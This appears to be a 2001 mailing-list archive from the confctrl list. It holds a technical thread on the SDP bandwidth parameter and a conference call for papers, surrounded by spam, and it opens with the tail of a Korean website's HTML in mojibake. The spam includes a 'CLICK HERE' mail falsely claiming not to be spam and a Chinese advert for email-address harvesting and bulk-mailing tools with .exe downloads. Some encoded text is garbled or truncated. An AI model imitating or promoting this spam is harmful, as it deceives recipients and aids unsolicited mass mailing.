<P>&nbsp;</P></TD>
<TD width=150 height=51>
<P></P>
<TABLE cellSpacing=2 cellPadding=2>
<TBODY>
<TR>
<TD width=139>
<P><IMG height=125 src="http://www.ses24.com/images/photoshow-1.gif" width=150
border=0></P></TD></TR>
<TR>
<TD width=139>
<P><A target=_blank href="http://www.ses24.com/ses_camp.htm"><IMG height=60
src="http://www.ses24.com/images/sescamp_photshow.gif" width=150
border=0></A></P></TD></TR></TBODY></TABLE></TD>
<TD width=6 height=19>
<P>&nbsp;</P></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top align=left width="513" height=32>
<DIV align=left>
<TABLE cellSpacing=0 borderColorDark=white cellPadding=0 width="515"
borderColorLight=black>
<TBODY>
<TR>
<TD width="5" height=4>
<P><SPAN style="FONT-SIZE: 8pt">&nbsp;</SPAN></P></TD>
<TD width="510" height=4>
<P><SPAN style="FONT-SIZE: 8pt">&nbsp;</SPAN></P></TD></TR>
<TR>
<TD width="5" height=17>
<P>&nbsp;</P></TD>
<TD vAlign=top align=left width="510" height=17>
<P><a href=./ksboard/bbs_notice.html><IMG height=18 src="http://www.ses24.com/images/news.gif"
width=389 border=0></a></P></TD></TR>
<TR>
<TD width="5" height=12>
<P>&nbsp;</P></TD>
<TD width="510" height=12>
<TABLE width="534" border=0>
<TBODY>
<TR>
<TD width="528">
<P><span>&nbsp;<IMG height=10 src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0></span> <A
href="http://www.ses24.com/ksboard/bbs_notice.html?CODE_VC=NOTICE&amp;ksrobot=view&amp;page=&amp;UIDSQ_NU=1788">ȯ»óÀÇ
ÃÊÁß°í °Ü¿ï¹æÇÐ ¿µ¾îÄ·ÇÁ¿¡ ±ÍÇÏÀÇ Àڳฦ ÃÊ´ëÇÕ´Ï´Ù. </A></P></TD></TR>
<TR>
<TD width="528" bgColor=#d4edef>
<P><span>&nbsp;<IMG height=10 src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0></span> <A
href="http://www.ses24.com/ksboard/bbs_notice.html?CODE_VC=NOTICE&amp;ksrobot=view&amp;page=&amp;UIDSQ_NU=1762">SES
¿µ¾î¿¬¼öÇб³ ¾È³» Ã¥ÀÚ°¡ »õ·ÎÀÌ ¹ß°£µÇ¾ú½À´Ï´Ù.(11/19) </A></P></TD></TR>
<TR>
<TD width="528">
<P><span>&nbsp;<IMG height=10 src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0></span> <A
href="http://www.ses24.com/ksboard/bbs_notice.html?CODE_VC=NOTICE&amp;ksrobot=view&amp;page=&amp;UIDSQ_NU=1700">¿µ¾îÄ·ÇÁ
±¤°í°¡ °æÇâ, ÇÑ°Ü·¹, ´ëÇѸÅÀϽŹ®¿¡µµ °ÔÀç(11/17) </A></P></TD></TR>
<TR>
<TD width="528" bgColor=#d4edef>
<P><span>&nbsp;<IMG height=10 src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0></span> <A
href="http://www.ses24.com/ksboard/bbs_notice.html?CODE_VC=NOTICE&amp;ksrobot=view&amp;page=&amp;UIDSQ_NU=1684">°Ü¿ï¹æÇÐ
ÃÊÁß°í Çʸ®ÇÉ ¿µ¾îÄ·ÇÁ ´ëÇѸÅÀϽŹ® ±¤°í°ÔÀç(11/12) </A></P></TD></TR>
<TR>
<TD width="528">
<P><span>&nbsp;<IMG height=10 src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0></span> <A
href="http://www.ses24.com/ksboard/bbs_notice.html?CODE_VC=NOTICE&amp;ksrobot=view&amp;page=&amp;UIDSQ_NU=1683">ÄÚ¸®¾ÆÇì·²µå,
³»¿Ü°æÁ¦½Å¹®, Çѱ¹ÀÎÅͳݱ³À°¿¬±¸¼Ò, Çʸ®ÇÉÇ×°ø ÇùÂù
</A></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV></TD>
<TD vAlign=top align=middle width="169" height=235 rowSpan=2>
<TABLE cellSpacing=0 cellPadding=0 width=170>
<TBODY>
<TR>
<TD style="BORDER-RIGHT: rgb(231,228,228) 1px solid" vAlign=top align=left
width=6 height=221>
<P>&nbsp;</P></TD>
<TD style="BORDER-LEFT: rgb(231,228,228) 1px solid" vAlign=top align=left
width=164 height=221>
<TABLE cellSpacing=0 cellPadding=0 width=164>
<TBODY>
<TR>
<TD width=8 height=50>
<P>&nbsp;</P></TD>
<TD vAlign=top width=150 height=133 rowSpan=2>
<TABLE cellSpacing=2 cellPadding=2>
<TBODY>
<TR>
<TD width=130>
<P><IMG height=69 src="http://www.ses24.com/images/telephone.gif" width=150 border=0></P></TD></TR>
<TR>
<TD width=130>
<P><A target=_blank
href="http://cafe27.daum.net/_c21_/home?grpid=5ROf&amp;GRPCODE=bosh"><IMG
height=40 src="http://www.ses24.com/images/alumni.gif" width=150
border=0></A></P></TD></TR></TBODY></TABLE></TD>
<TD width=6 height=50>
<P>&nbsp;</P></TD></TR>
<TR>
<TD width=8 height=83>
<P>&nbsp;</P></TD>
<TD width=6 height=83>
<P>&nbsp;</P></TD></TR>
<TR>
<TD width=8 rowSpan=3>
<P>&nbsp;</P></TD>
<TD width=150 height=7>
<P><A target=contens href="http://www.ses24.com/ses_zim.htm"><IMG height=26 src="http://www.ses24.com/images/zim_01.gif"
width=150 border=0></A></P></TD>
<TD width=6 rowSpan=3>
<P>&nbsp;</P></TD></TR>
<TR>
<TD width=150 height=7>
<P><A target=contens href="http://www.ses24.com/inchun_bus.htm"><IMG height=30
src="http://www.ses24.com/images/zim_02.gif" width=150 border=0></A></P></TD></TR>
<TR>
<TD width=150 height=11>
<P><A target=contens href="http://www.ses24.com/ses_map.htm"><IMG height=27 src="http://www.ses24.com/images/zim_03.gif"
width=150
border=0></A></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top align=left width="513" height=109>
<TABLE cellSpacing=0 borderColorDark=white cellPadding=0 width=462
borderColorLight=black>
<TBODY>
<TR>
<TD width=8 height=100>
<P><SPAN style="FONT-SIZE: 10pt">&nbsp;</SPAN></P></TD>
<TD width=454 height=100>
<TABLE cellSpacing=7 cellPadding=0 width=453 bgColor=#fcf7f7>
<TBODY>
<TR>
<TD width=14>
<P>&nbsp;</P></TD>
<TD width=170>
<P><A target=contens href="http://www.ses24.com/ses_visa.htm"><IMG height=22 src="http://www.ses24.com/images/title_1.gif"
width=170 border=0></A></P></TD>
<TD width=86>
<P>&nbsp;</P></TD>
<TD width=170>
<P><A target=contens href="http://www.ses24.com/ses_study_abrod.htm"><IMG height=22
src="http://www.ses24.com/images/title-2.gif" width=170 border=0></A></P></TD>
<TD width=14>
<P>&nbsp;</P></TD></TR>
<TR>
<TD width=14>
<P>&nbsp;</P></TD>
<TD width=170>
<P><A target=contens href="http://www.ses24.com/ses_song_whan_c.htm"><IMG height=22
src="http://www.ses24.com/images/title-5.gif" width=170 border=0></A></P></TD>
<TD width=86>
<P>&nbsp;</P></TD>
<TD width=170>
<P><a href="http://www.ses24.com/ses_out.htm"><IMG height=22 src="http://www.ses24.com/images/title-3.gif" width=170
border=0></a></P></TD>
<TD width=14>
<P>&nbsp;</P></TD></TR>
<TR>
<TD width=14>
<P>&nbsp;</P></TD>
<TD width=170>
<P><A target=contens href="http://www.ses24.com/ses_etc.htm"><IMG height=22 src="http://www.ses24.com/images/title-4.gif"
width=170 border=0></A></P></TD>
<TD width=86>
<P>&nbsp;</P></TD>
<TD width=170>
<P><a href="http://www.ses24.com/ksboard/bbs_photo.html"><IMG height=22 src="http://www.ses24.com/images/title-6.gif"
width=170 border=0></a></P></TD>
<TD width=14>
<P>&nbsp;</P></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD width=8 height=10>
<P><SPAN style="FONT-SIZE: 10pt">&nbsp;</SPAN></P></TD>
<TD vAlign=top align=left width=454 height=10>
<P>&nbsp;</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><!-- ImageReady Slices (copyright.psd) -->
<TABLE cellSpacing=0 cellPadding=0 width=633 border=0>
<TBODY>
<TR>
<TD><IMG height=6 src="http://www.ses24.com/images/copyright_01.gif" width=708></TD></TR>
<TR>
<TD style="BORDER-RIGHT: silver 1px solid; BORDER-LEFT: silver 1px solid"
align=middle height=63><!-- ImageReady Slices (copyright.psd) -->
<TABLE height=61 cellSpacing=0 cellPadding=0 width=630 border=0>
<TBODY>
<TR>
<TD vAlign=top align=left width=296 height=61><SPAN
style="FONT-SIZE: 9pt">&nbsp;&nbsp;<IMG height=18 src="http://www.ses24.com/images/inkorea.gif" width=75
border=0><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;¼­¿ï½Ã ±¸·Î±¸ ±¸·Î3µ¿1125-10 »óÁö B/D 402È£<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;¢Î 838-5709 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fax
&nbsp;857-5709<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E-mail : <A
href="mailto:ses24@ses24.com">ses24@ses24.com</A></SPAN></TD>
<TD vAlign=top align=left width=336 height=61>
<P><SPAN
style="FONT-SIZE: 9pt"><IMG height=17 src="http://www.ses24.com/images/inphillippine.gif"
width=113 border=0><BR>&nbsp;&nbsp;&nbsp;Sollie English School Daang Bahaghari St.
Nayong<BR>&nbsp;&nbsp;&nbsp;Maharlika village, pansol, calamba, Laguna Philippines<BR>&nbsp;&nbsp;&nbsp;¢Î
008-63-49-834-2863~5</SPAN></P></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD><IMG height=23 src="http://www.ses24.com/images/copyright_03.gif"
width="708"></TD></TR></TBODY></TABLE>
<P>&nbsp;</P><map name="ImageMap2">
<area shape="rect" coords="635, 59, 688, 77" href="http://www.ses24.com/contents.htm" target="contens">
<area shape="rect" coords="570, 59, 625, 75" href="mailto:ses24@ses24.com">
<area shape="rect" coords="607, 33, 608, 34" href="http://www.ses24.co.kr">
<area shape="rect" coords="439, 16, 674, 52" href="http://ses24.com">
<area shape="rect" coords="20, 12, 121, 62" href="http://www.ses24.com">
</map></body>
</html>

From confctrl-owner  Wed Nov 21 10:43:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA20128
	for confctrl-outgoing; Wed, 21 Nov 2001 10:43:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA20123
	for <confctrl@zephyr.isi.edu>; Wed, 21 Nov 2001 10:43:21 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fALIhvg20856;
	Wed, 21 Nov 2001 10:43:57 -0800 (PST)
Received: from sj-msg-av-2.cisco.com (sj-msg-av-2.cisco.com [171.69.24.12])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fALIhqE26407;
	Wed, 21 Nov 2001 10:43:52 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-2.cisco.com (8.10.1/8.10.1) with ESMTP id fALIhoC26647;
	Wed, 21 Nov 2001 10:43:50 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id KAA02804; Wed, 21 Nov 2001 10:43:49 -0800 (PST)
Message-ID: <3BFBF5F2.F4E490DA@cisco.com>
Date: Wed, 21 Nov 2001 13:44:02 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <csp@ISI.EDU>
CC: David Lide <dlide@telogy.com>, "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: AS parameter in SDP
References: <200111210348.fAL3m7l01460@purple.east.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Colin Perkins wrote:

> --> Flemming Andreasen writes:
> >Colin Perkins wrote:
> >> I always assumed this was the RTP session bandwidth (section 6.2 of the RTP
> >> specification), and hence included RTP/UDP/IP header overheads.
> >
> >While this is simple for well-known fixed size overhead as e.g. 20+8 bytes
> >for IP+UDP, it's not clear to me that an application would have access to
> >other types of overhead. For example, consider the use of IPSec or IPv6.
> >Do we really want the app to be concerned about such things ?
>
> If you're using the bandwidth information for resource reservation or
> capacity planning, you pretty much need to include the header sizes.

Sure (however lower layer compression may actually make this inaccurate as well).

>
> If not, then it's advisory and the application can make a reasonable
> guess and hope (nothing should break too badly if the values are not
> quite right...).
>

All right - network layer and up it is then. As long as we get this clarified in
the SDP-new spec I'm happy.

-- Flemming

>
> Colin

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Wed Nov 21 13:22:04 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA26227
	for confctrl-outgoing; Wed, 21 Nov 2001 13:22:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA26222
	for <confctrl@zephyr.isi.edu>; Wed, 21 Nov 2001 13:22:02 -0800 (PST)
Received: from beningserver.dsl.gtei.com (lsanca1-ar3-008-226.biz.dsl.gtei.net [4.3.8.226])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fALLMdg04790
	for <confctrl@isi.edu>; Wed, 21 Nov 2001 13:22:39 -0800 (PST)
Message-Id: <200111212122.fALLMdg04790@tnt.isi.edu>
Received: from 4.3.8.226 (lsanca1-ar3-044-143.lsanca1.dsl.gtei.net [4.3.44.143]) by beningserver.dsl.gtei.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id XJSYAL4D; Wed, 21 Nov 2001 13:39:29 -0800
From: "Mike.Davis@verizon.net" <Mike.Davis@verizon.net>
Date: Wed, 21 Nov 2001 13:22:38
To: confctrl@ISI.EDU
Subject: I am SOOOOO bored, Please talk 2 ME!!!!
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

____________

 CLICK HERE
____________


http://clickhere.webhop.net

____________

 CLICK HERE
____________












































































This IS NOT Spam/Bulk Mail to be removed from the list goto...
http://www.removeyou.com
http://clickhere.webhop.net

From confctrl-owner  Wed Nov 21 13:29:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA26537
	for confctrl-outgoing; Wed, 21 Nov 2001 13:29:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA26532
	for <confctrl@zephyr.isi.edu>; Wed, 21 Nov 2001 13:29:47 -0800 (PST)
Received: from pc7143.unige.ch (pc7143.unige.ch [129.194.71.43])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fALLUNg08190
	for <confctrl@isi.edu>; Wed, 21 Nov 2001 13:30:24 -0800 (PST)
Received: from pc7143.unige.ch (localhost [127.0.0.1])
	by pc7143.unige.ch (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id fALMi9I26129
	for <confctrl@isi.edu>; Wed, 21 Nov 2001 23:44:09 +0100
Message-Id: <200111212244.fALMi9I26129@pc7143.unige.ch>
From: info@ltssg3.epfl.ch
To: confctrl@ISI.EDU
Date: Wed Nov 21 23:44:09 2001
Subject: CALL FOR PAPERS: IEEE ICME 2002, Int.Conf.MM & Expo
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Apologies for any duplication of this announcement
_____________________________________________

CALL FOR PAPERS: ICME 2002
IEEE International Conference on Multimedia and Expo

Swiss Federal Institute of Technology,
EPFL, Lausanne, Switzerland
August 26-29 2002

GOALS OF THE CONFERENCE

International Conference on Multimedia & Expo (ICME) is a major annual 
international conference organized with the objective of bringing together 
researchers, developers and practitioners from academia and industry 
working in all areas of  multimedia. ICME serves as a forum for the
dissemination of state-of-the-art research, development, and implementations 
of multimedia systems, technologies and applications. 

Co-sponsored by four IEEE societies (the Circuits and Systems Society, 
the Communications Society, the Computer Society and the Signal Processing 
Society) the third edition of ICME will be held in Lausanne, Switzerland.

INSTRUCTIONS AND TOPICS

Authors should submit a four-page manuscript in double-column format 
including authors' names, affiliations and a short abstract. Only electronic 
submission will be accepted. A sample of the papers presented at the 
conference will be selected for a possible publication in an upcoming 
special issue of IEEE Transactions on Multimedia. Topics covered include 
but are not limited to the following:

* Audio, image and/or video processing
* Components and technologies for multimedia systems
* Human-machine interface and interaction
* Multimedia applications
* Multimedia hardware architectures
* Multimedia communication and networking
* Multimedia computing systems
* Multimedia content access and distribution
* Multimedia databases
* Signal processing for media integration
* Standards (e.g., MPEG) and related issues
* System integration, integration of art and technologies
* Virtual reality and computer graphics
* Watermarking and security

CONFERENCE WEB SITE AND CONTACT

Web: http://www.icme2002.org
Contact: info@icme02.epfl.ch

SPECIAL SESSIONS, TUTORIALS, DEMO/EXHIBITS

Proposals for Special Sessions, Tutorials and Demo/Exhibits are also 
strongly encouraged. Authors are referred to the ICME website to additional 
information regarding submissions.

IMPORTANT DATES

Special Session Proposal Due            December 1, 2001
Regular Papers Submission Due           February 15, 2002
Tutorial Proposal Due                   March 1, 2002
Demo/Exhibit Proposal Due               May 1, 2002


Thierry Pun, Univ. of Geneva, Switzerland
Jean-Luc Dugelay, Eurecom, France
ICME Publicity co-Chairs


PS: feel free to distribute!

-----------------------------------------------------------------------
To subscribe the ICME 2002 information mailing list, 
e-mail icme2002-request@ltssg3.epfl.ch with "subscribe" in the body. 
-----------------------------------------------------------------------


From confctrl-owner  Thu Nov 22 03:25:18 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA26382
	for confctrl-outgoing; Thu, 22 Nov 2001 03:25:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA26377
	for <confctrl@zephyr.isi.edu>; Thu, 22 Nov 2001 03:25:16 -0800 (PST)
Received: from simscluster.mail.jl.cn (mail1.mail.jl.cn [202.98.0.137])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAMBPfg14764
	for <confctrl@isi.edu>; Thu, 22 Nov 2001 03:25:41 -0800 (PST)
Received: from LOCAL ([61.182.92.199]) by simscluster.mail.jl.cn
 (Sun Internet Mail Server sims.4.0.2000.01.27.13.16.p5)
 with SMTP id <0GN700JGA9IX2I@simscluster.mail.jl.cn> for confctrl@isi.edu;
 Thu, 22 Nov 2001 19:36:01 +0800 (CST)
Date: 2001-11-22 18:42:32
From: =?ISO-8859-1?Q?=BF=C6=C0=B6=C8=ED=BC=FE=B9=A4=D7=F7=CA=D2?=@[61.182.92.199]
Subject: 
 =?ISO-8859-1?Q?=B5=E7=D7=D3=D3=CA=BC=FE=CF=E0=B9=D8=B9=A4=BE=DF=C8=ED=BC=FE=CD=C6=BC=F6=20CDmail=20&=20CKmail=20#8552?=
To: =?ISO-8859-1?Q??= <conta@zk3.dec.com>
Reply-to: =?ISO-8859-1?Q?=BF=C6=C0=B6=C8=ED=BC=FE=B9=A4=D7=F7=CA=D2<clansoft@163.net>?=
Message-id: <0GN700JHU9JR2I@simscluster.mail.jl.cn>
MIME-version: 1.0
X-Mailer: CDmail3.0
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_TJvrvEvoXrzETgQF6H+KZA)"
X-Priority: 1 (Highest)
Sun-Internet-MTA: Lines longer than SMTP allows found and truncated.
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--Boundary_(ID_TJvrvEvoXrzETgQF6H+KZA)
Content-type: text/plain; charset=GB2312
Content-transfer-encoding: quoted-printable

=C4=FA=BA=C3=A3=A1

=20=20=20=20=CD=C6=BC=F6=C1=BD=BF=EE=20WINDOWS=20=B9=B2=CF=ED=C8=ED=BC=FE=A3=BA=BF=C6=C0=B6=D3=CA=BC=FE=B5=D8=D6=B7=CB=D1=D1=B0=B9=A4=BE=DF=20CKmail=203.0=20=BA=CD
=BF=C6=C0=B6=B5=E7=D7=D3=D3=CA=BC=FE=C8=BA=B7=A2=B9=A4=BE=DF=20CDmail=203.0=A1=A3


=20=20=20=20=C8=ED=BC=FE=D6=F7=D2=B3=A3=BAhttp://clansoft.yeah.net

=20=20=20=20cdmail=CF=C2=D4=D8=C1=AC=BD=D3=A3=BAhttp://clansoft.51.net/data/cdmail.exe
=20=20=20=20ckmail=CF=C2=D4=D8=C1=AC=BD=D3=A3=BAhttp://clansoft.51.net/data/ckmail.exe

=20=20=20=20cdmail=D7=A2=B2=E1=C1=AC=BD=D3=A3=BAhttp://clansoft.51.net/gb/reg-cdmail.htm
=20=20=20=20ckmail=D7=A2=B2=E1=C1=AC=BD=D3=A3=BAhttp://clansoft.51.net/gb/reg-ckmail.htm

=20=20=20=20=CF=D6=D4=DA=CA=C7=D3=C5=BB=DD=D7=A2=B2=E1=C6=DA=A3=AC=CF=EA=C7=E9=C7=EB=B5=BD=20http://clansoft.51.net=20=B2=E9=BF=B4=A1=A3

=20=20=20=20=D0=BB=D0=BB=C4=FA=B5=C4=D6=A7=B3=D6=A3=A1

--Boundary_(ID_TJvrvEvoXrzETgQF6H+KZA)
Content-type: application/octet-stream; name=********.TXT
Content-disposition: attachment; filename=********.TXT
Content-transfer-encoding: base64

ICAgINK7oaK/xsC208q8/rXY1rfL0dGwuaS+3yBDS21haWwgMy4wIA0KICAgID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCiAgICDI7bz+y7XD96O6DQogICAgQ0ttYWlsIDMuMCDKx9K7v+4gV0lORE9XUyC7t76zz8K1xNPKvP612Na3y9HRsLmkvt+jrCDTw8v8xPq/ydLUsNHE+rv6xve1xNOyxczH/bavxve78tOzyeTH/bavxve1xCBFbWFpbCC12Na3y9G8r7W90rvG8KOsSW50ZXJuZXQgQ2FjaGUgus272MrV1b7A77XEzsS8/tKysru74cKpzfijrMjnufvE+tS40uKjrMT6yfXWwb/J0tTTw8v71NogLkVYRSDOxLz+wO/L0dGwoaMgDQoNCiAgICBDS21haWwgMy4wINans9YgMTAwMDAwMCDK/cG/vLa1xLXn19PTyrz+y9HRsKOssqLH0svR0bDL2bbIsru74dPQy+bL0dGwtb21xLXn19PTyrz+yv3Bv9T2vNO2+LHkwv21xLjQvvWhoyANCg0KICAgIENLbWFpbCAzLjAgv8nS1Na4tqi0/cvRy/e1xM7EvP7A4NDNoaLEv8K8t7bOp6Osv8nS1Na4tqjEv8K81+m6z6OsMy4wILDmsb7Wp7PWyuSz9rjxyr22qNLlo6xDS21haWwgyuSz9rXEtdjWt87EvP6/ydLUt72x47XEsbvG5Mv7tcTTyrz+s8zQ8sq508Oho9LUx7Cw5rG+tcQgRW1haWwgtdjWt7n9wsuhos7EvP7P3rOktqjS5bXIuabE3MjUyLvT0NCnoaMgDQoNCiAgICDUy9DQu7e+s6O6d2luOXgvTlQvMjAwMA0KICAgIMjtvP6089Cho7oxLjZNDQoNCiAgICDPwtTYway906O6aHR0cDovL2NsYW5zb2Z0LjUxLm5ldC9kYXRhL2NrbWFpbC5le!
GUNCiAgIC

--Boundary_(ID_TJvrvEvoXrzETgQF6H+KZA)--

From confctrl-owner  Thu Nov 22 05:31:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA00806
	for confctrl-outgoing; Thu, 22 Nov 2001 05:31:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA00801
	for <confctrl@zephyr.isi.edu>; Thu, 22 Nov 2001 05:31:38 -0800 (PST)
Received: from relay5.kornet.net ([211.48.62.165])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAMDW0g14213
	for <confctrl@isi.edu>; Thu, 22 Nov 2001 05:32:15 -0800 (PST)
Received: from [211.197.55.229] (211.197.55.229) by relay5.kornet.net; 22 Nov 2001 22:31:50 +0900
Message-ID: <3bfcfe463c1308a0@relay5.kornet.net> (added by relay5.kornet.net)
From: =?ks_c_5601-1987?B?v+zA/Lmrv6o=?= <woojeon12@kornet.net>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?W7GksO1dIGNvbmZjdHJstNQgvsiz58fPvcq0z7HuPw==?=
Date: Sat, 27 Oct 2001 22:32:15 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0227_01C0F27A.93A32C00"
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0227_01C0F27A.93A32C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

ICAgICCxpLDtILjewM8gIMDUtM+02S4NCiAgICC+yLPnx8+9yrTPse4gISAgIHd3dy53b29q
ZW9uLm5ldCAgv+6/tcDawNS0z7TZLg0KICAgx+O29L74wMwguN7Az8C7ILXlt8EgtOu03Mj3
IMHLvNvH1bTPtNkuICDBpMHfyPcgvufH2LimILrOxbm15biztM+02S4NCiAgIL/4x8/B9iC+
yrTCILjewM/AzLbzuOkgIL7Gt6HAxyAivPa9xbDFus4iILn2xrDAuyC0rbevIMHWvcO46Q0K
ICAgtNm9w7TCICCxzcfPsrIgsKHB9iC+yrW1t88gyK69x8fPsNQgw7O4riDHz7DavcC0z7TZ
Lg0KICAgsc3Hz7KyICC+4LCjwMcgsMewrcGkuri/oSC1tb/ywMwgtcKwpSC52bbzuOcgvce3
yrChILXGvvq02bjpDQogICC02b3DICDH0bn4ILvnsPrAxyC4u764ILXluLO0z7TZLiCwqLvn
x9W0z7TZLg0KICAgICAgMS4gsei6tLDvIMfRwMe757ChILCzud/H0SAgvLyw6MCvwM/AxyC0
3MD8ILCtyK2x4rG4DQogICAgICK03MD8uqfGriK4piAgvNKws8fVtM+02S4NCiAgICAgx+PB
2MDHILW/wMe6uLCowLsgx9G4trXwt84gIL/kvuDHz7jpIA0KICAgICAix8ewoSC/wrHiuKYg
ud7AuLjpICC8scf3wMwgtcew7Swgx8ewoSCzw7HiuKYgud7AuLjpIA0KICAgICC+7sf3wMwg
tcu0z7TZIiDAzrWlICC03MD8wLsgtaW/9sHWuOkgyKXFucfRIMfHuKYguLyw1CANCiAgICAg
x9jB1rnHt84gILz4yK2x4rDoxevAxyAgwfq6tMC7IL+5uebHz7DtIMSht+HH1bTPtNkuDQog
ICAgIA0KIDIuILTcwPy6p8auuKYgwvi/68fPsO0gx8+357i4v6EgtMCzpSC89iDA1rTCyL+w
+rTCDQogICAgICAgILOywNrAxyCw5r/sOg0KIA0KIA0KICC8+sC7ILXlvcXIxCC03MDcuqfG
rrimIML4v+vHz7DtIMHWuau9w7jpDQogIL7GxKe/oSAgwM++7rOqvccgtqcgwMzA/L+hILrx
x8+46SCz7rbzv+8NCiDBpLW1t84gILz3w+uwoSC++L7uwfaw7SC49sDMILChu9PH1MC7ILTA
s6a0z7TZLiANCiAgICAgv6nA2sDHILDmv+w6DQogDQogILv9uK6x4r+hILTcwPy6p8auuKYg
wvi/68fPuOkgu/24rsXrwMwNCiAgwMzA/L+hICC68cfPv6kgvvbDu7OqsNQgsKi80sfUwLsg
tMCzprTPtNkuDQogICAgICAgMy4gtNzA/Lqnxq64piDB9rzTwPvAuLfOKMfPt+cgIDO9w7Cj
KSDC+L/rx8+46Q0KICAgICAgMS4gwOXAzCCzqrvavcW60C8gILqvuvEgLyC897qvDQogICAg
ICAgIDIuILz4yK+x4rDoxevAxyDB+rq0IA0KICAgICAgMy4gurm6zrPDwaQgOiC6ubrOsKEg
ILPDx8+/qSC7/bHitMIgsKLBvsH6urQuLi4NCiAgICAgICA0LiAgv6y8vLXlvcUgus648LTU
IDogseK3wsDMILazvu7B+CC6zrjwtNQNCiAgICAgICA1LiDBpLfCwMwgIMf2wPrI9yC2s77u
wa4gsO2ws7z3wM4gs7LA2r+hsNQgscfH2LXluLO0z7TZLg0KICAgICAgNi4gwOWwxbiuICC/
7sD8wNrAxyDBucC9uebB9g0KDQogICAgIDQuIL+stvTDsyA6IDA1MSAtIDgwOCAtIDg2NTY8
vcW/68SrteUgsbjA1LChtMk+DQogICAgICDA2ry8x9Egs7u/68C6IGh0dHA6Ly93d3cud29v
amVvbi5uZXS4piAgwvzBtsfPvcOx5iC52bb4tM+02S4NCiAgICAgsMewrcC7wKfH2CDB8bDc
w6Ox4iAgx9i1zry8v+QuDQqh3yAgvPa9xbDFus7Hz73DuOkgurizu8H2IL7KsNq9wLTPtNku
KLz2vcWwxbrOKSAgod8gDQogICA=

------=_NextPart_000_0227_01C0F27A.93A32C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+DQoNCjxib2R5IGJnY29sb3I9IndoaXRlIiB0ZXh0PSJibGFjayIgbGluaz0iYmx1
ZSIgdmxpbms9InB1cnBsZSIgYWxpbms9InJlZCI+DQoNCjx0YWJsZSBhbGlnbj0iY2VudGVy
IiBzdHlsZT0ibGluZS1oZWlnaHQ6MTMwJTsiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2lu
